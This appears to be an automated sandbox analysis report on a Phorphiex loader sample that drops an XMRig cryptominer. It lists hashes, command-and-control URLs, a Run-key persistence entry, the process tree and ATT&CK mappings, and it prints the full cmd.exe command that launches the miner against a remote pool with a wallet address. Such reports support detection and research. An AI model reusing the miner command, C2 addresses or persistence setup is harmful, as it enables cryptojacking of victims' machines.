phorphiex | 52f011851639a0c3a5ac55a68314d0b11d6893805f93f0934a4b72f5c3c6d15d

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 01:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 10KB
Sample260728-ccfaeshn3w
SHA256 52f011851639a0c3a5ac55a68314d0b11d6893805f93f0934a4b72f5c3c6d15d
MD5 1bb73ccfdacfd31c472d9f6b477eb55d
SHA1 7f2d5191f591515ba76b90bd34e4a74ebad68785
SHA512 b10dffffb24290de6f78e6adcd6526f23b116c0a482a880a60cf2d75f320467116e69d37e24c3903d1f3dd61d0f806bf256df8993c00fc2adafba79ce3fc6f28
SSDEEP 96:pd/ozKYz/J4hOE+b+5BHCdyl/DLDxSikbO8dSTzWjPFJxGE9mZ2FFhJC7tCEeczl:3olpS5BHVxSHO8dfPFJxTEZmFhqecRX
TLSH
T1CA22B21E2E4B0321DE5008B0E5B5464A943D1EE37346FBDBE632E5CB0AE5E4484C1AAF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution phorphiex xmrig loader miner persistence trojan worm

Malware Config

Extracted

Family

phorphiex

http://178.16.54.109/cr_/
http://178.16.55.240/
http://178.16.55.240/last_/
http://178.16.55.240/nmix_/
http://178.16.55.240/corp_/

Mutex

235325

Attributes

user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

Signatures

Family: Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000d00000001c58c-46.dat	family_xmrig
behavioral2/files/0x000d00000001c58c-46.dat	xmrig

Downloads MZ/PE file 7 IoCs

flow	pid	Process
7	5056	file.exe
7	5056	file.exe
7	5056	file.exe
7	5056	file.exe
7	5056	file.exe
7	5056	file.exe
15	204	1745822644.exe

Executes dropped EXE 10 IoCs

pid	Process
4832	3490924400.exe
4660	3405435878.exe
3720	3278013573.exe
1100	2075724033.exe
4320	3888934541.exe
5164	2948112184.exe
204	1745822644.exe
1324	sysmgnrsv.exe
2688	sysfrodolv.exe
1372	sysmgnrsv.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Config = "\\sysfrodolv.exe"	1745822644.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
900	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3490924400.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3278013573.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2075724033.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1745822644.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysfrodolv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3405435878.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3888934541.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2948112184.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1372	sysmgnrsv.exe
Token: SeLockMemoryPrivilege	1372	sysmgnrsv.exe
Token: SeIncBasePriorityPrivilege	1372	sysmgnrsv.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1372	sysmgnrsv.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 5056 wrote to memory of 4832	5056	file.exe	88
PID 5056 wrote to memory of 4660	5056	file.exe	89
PID 5056 wrote to memory of 3720	5056	file.exe	90
PID 5056 wrote to memory of 1100	5056	file.exe	91
PID 5056 wrote to memory of 4320	5056	file.exe	92
PID 5056 wrote to memory of 5164	5056	file.exe	93
PID 5056 wrote to memory of 204	5056	file.exe	94
PID 204 wrote to memory of 1324	204	1745822644.exe	95
PID 204 wrote to memory of 2688	204	1745822644.exe	98
PID 2688 wrote to memory of 900	2688	sysfrodolv.exe	99
PID 900 wrote to memory of 1372	900	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5056
- C:\Users\Admin\AppData\Local\Temp\3490924400.exe
  C:\Users\Admin\AppData\Local\Temp\3490924400.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4832
- C:\Users\Admin\AppData\Local\Temp\3405435878.exe
  C:\Users\Admin\AppData\Local\Temp\3405435878.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4660
- C:\Users\Admin\AppData\Local\Temp\3278013573.exe
  C:\Users\Admin\AppData\Local\Temp\3278013573.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3720
- C:\Users\Admin\AppData\Local\Temp\2075724033.exe
  C:\Users\Admin\AppData\Local\Temp\2075724033.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1100
- C:\Users\Admin\AppData\Local\Temp\3888934541.exe
  C:\Users\Admin\AppData\Local\Temp\3888934541.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4320
- C:\Users\Admin\AppData\Local\Temp\2948112184.exe
  C:\Users\Admin\AppData\Local\Temp\2948112184.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5164
- C:\Users\Admin\AppData\Local\Temp\1745822644.exe
  C:\Users\Admin\AppData\Local\Temp\1745822644.exe
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:204
- - C:\Users\Admin\sysmgnrsv.exe
    C:\Users\Admin\sysmgnrsv.exe
    3⤵
    - Executes dropped EXE
    PID:1324
- - C:\sysfrodolv.exe
    \sysfrodolv.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:900
    - - C:\Users\Admin\sysmgnrsv.exe
        
        C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:1372

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1745822644.exe

Path C:\Users\Admin\AppData\Local\Temp\1745822644.exe
Size 12KB
SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
MD5 07bd5d0edaca14204802b8ff7db346ce
SHA1 660784d4aa65c5914978fae86d4f493e26a9b2b1
SHA512 7ba6ede3f8f94eda823241898465fcd71ac5935ed46ed679a525360d44ab6eb9a1298bd7c1c0e7fab28fe096471a62a014c8e147abf752d42118d880b4ad614e
SSDEEP 192:PeeTbgOhmKM84zleg7zL/mmPJxTZ3lk9nAthBsuNOk:mITwG4z0A2oZK9nABsk
TLSH
T1D3421A07AD998121E7F00DB1147E924B86BD3D723BD5AC9FA700F5462DB17A0C472A7D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2075724033.exe

Path C:\Users\Admin\AppData\Local\Temp\2075724033.exe
Size 15KB
SHA256 b06316fc674d62db99afd11be3ec60eb212fd0e64a23c20685017fe7d7221f5d
MD5 5734b587edb55648f7d0b461a3f3c466
SHA1 3b10ed57ea261a2587473b558826c4e4587cdc57
SHA512 d9fe9872e79450726456d9b25fa794662df689525baa4d3694b5143d660db6166959f50a05d305b67b90cdfc5388ee83e15bd359a5c06d8d0bb3cf5ac7c4491f
SSDEEP 192:AWFsGnjXgjk8LcRI+Q1RDMlYfV/F5oIVUBKUSftzQFBrfgJxTmv8U9cthv9ik:AQScCtfV/ro6toB0av8U9c1X
TLSH
T19B623A0AB4818035EAE04075827F526649BEADB623C4F9D7F7E0A8C94DB4BE1F43116F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2948112184.exe

Path C:\Users\Admin\AppData\Local\Temp\2948112184.exe
Size 15KB
SHA256 4a319c860dacdd7ff95772e04b7072bba01e43d9f9d03a3cc3ece1e7064e071b
MD5 eb80b24437ca144ae6cf0b19a03ca599
SHA1 57d1464da3f19688610c9526b6dcac48760aeb78
SHA512 146f7a5aefe0df25548b179ba80190f2d7a706d5def5065f518d0a2ce45f70c24f0f867fa1467637bcbc937a00a71e21035e1d129613eeea093580248600e4e7
SSDEEP 192:AWTsGnjXgjk8LcRI+Q1RDMlYfV/F5oIVUBKUSftzQFBrfgJxTmv8U9cth29ik:AuScCtfV/ro6toB0av8U9coX
TLSH
T159623A0AB4818035EAE14075827F526649BEADB623C4F9D7F7E0A8C94DB4BD1F4311AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3278013573.exe

Path C:\Users\Admin\AppData\Local\Temp\3278013573.exe
Size 15KB
SHA256 a522e892f5a5d41e6b71dfa435491682dd20fe2f562075af071f929c3fa38620
MD5 c7e6b3208a4bf04ef28fd3b37008b7d2
SHA1 701fc165b905a9cb704c689ee8fcc46dae33a660
SHA512 1678c4271edc50ba42e1b02c0784f2d396712f300c9b80d38d8ddbfe20d10ac04af3eed7ae9c4edc2396f36fbf61e20abb3dcb6811a93089aea79e39efc41ed4
SSDEEP 192:AWOsGnjXgjk8LcRI+Q1RDMlYfV/F5oIVUBKUSftzQFBrfgJxTmv8U9cthf9ik:AXScCtfV/ro6toB0av8U9clX
TLSH
T19A623A0AA4818035EAE14075827F526649BEADB623C4F9D7F7E0A8C94DB4BD1F43116F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3405435878.exe

Path C:\Users\Admin\AppData\Local\Temp\3405435878.exe
Size 15KB
SHA256 d31040a2b95b66340fe07d1bed67ef96fbe1d60e6635acc2736de3d648f90131
MD5 60b6c61db4b78d713fa014568db9263b
SHA1 fc9e19460bd3fd1c997f76bf7d31c85b31b0dca4
SHA512 857d1811b76e5536fc919be1eb0eb2f7ec6c938abb5cb11b4d8b2c35b8795f34551471b3ef91a11f15c14a38486bb4b15b6d513a745f4a50fa8a4c8176b13c11
SSDEEP 192:AWbzsGnjXgjk8LcRI+Q1RDMlYfV/F5oIVUBKUSftzQFBrfgJxTmv8U9cthV9ik:AmXScCtfV/ro6toB0av8U9c/X
TLSH
T17D623A0BA4818035EAE04075827F526649BEADB623C4F9D7F7E0A8C94DB4BD1F43216F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3490924400.exe

Path C:\Users\Admin\AppData\Local\Temp\3490924400.exe
Size 15KB
SHA256 e947f8a540eb337c4090c14d880948f07106dbe19d64625b7577cf9416935fae
MD5 4a93a809cf87667cb73e0405f5e5b102
SHA1 819f0be1dbc81eb85163de4cea0f629c10325ec3
SHA512 c5f3085539642b726a440c2478b11c05fa2f765376b73f15819b0fdda8ccaa76ee61a655a64687e54c360a2d41dd1d25ca8be5410beb4a21d45961f96ad2a154
SSDEEP 192:AWtsGnjXgjk8LcRI+Q1RDMlYfV/F5oIVUBKUSftzQFBrfgJxTmv8U9cthA9ik:AwScCtfV/ro6toB0av8U9cGX
TLSH
T13C622A0AA4818035EAE14075827F526645FE6DB623C4F9D7F7E0A8C94DB4BD1F43116F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3888934541.exe

Path C:\Users\Admin\AppData\Local\Temp\3888934541.exe
Size 15KB
SHA256 764d5bcb4be851ed27008a40010ed48669160dee3c83fecfc3a0c0654dcece3f
MD5 da3c4fd3f4f3738f9f626c96de56a535
SHA1 5782b6c0bf1eb4022d8e5c9d80968add1a761e08
SHA512 b56095d98a010230f4938da1ef4c8458f1ef9f95a792a2731ce644691dad91bd7619c5cc01713966a5770c4dd38a7ccd6868eb955cdbea85d09b556e9a056122
SSDEEP 192:AWCsGnjXgjk8LcRI+Q1RDMRYfV/F5oIVUBKUSftzQFBrfgJxTmv8U9cthv9ik:AfScCRfV/ro6toB0av8U9c1X
TLSH
T1DE623A0AB4818035EAE04075827F526649BEADB623C4F9D7F7E0A8C94DB4BD1F43516F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sysmgnrsv.exe

Path C:\Users\Admin\sysmgnrsv.exe
Size 6.2MB
SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
MD5 ac458ece671fdde066ce60e448f12bc0
SHA1 d31d5d5617a09e09df0cd3bffde6b03f48a0d540
SHA512 f0c8d01b2ae26e2ad1f63d74831a835b37a2f95e3020b66e9a71b161408a5599f2aa4effc2079c6250cc0e9c34ada1b2a6aba771ea388c6a90ead220a840aa99
SSDEEP 98304:N36U0mJMOqh9s03ZMza32r4vQmI4eXUMltMQXfPJFWNNrgs4u/EKgIymvloXMPwn:NL7y5h9FcJFwrgDu/nGmv6iL0Qg
TLSH
T19D569D26B7A400E8C87AC53CC6469513F7B2B81A53B0A7DB17B4967A1F336D41E3EB50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1324-49-0x000001EF66B00000-0x000001EF66B20000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads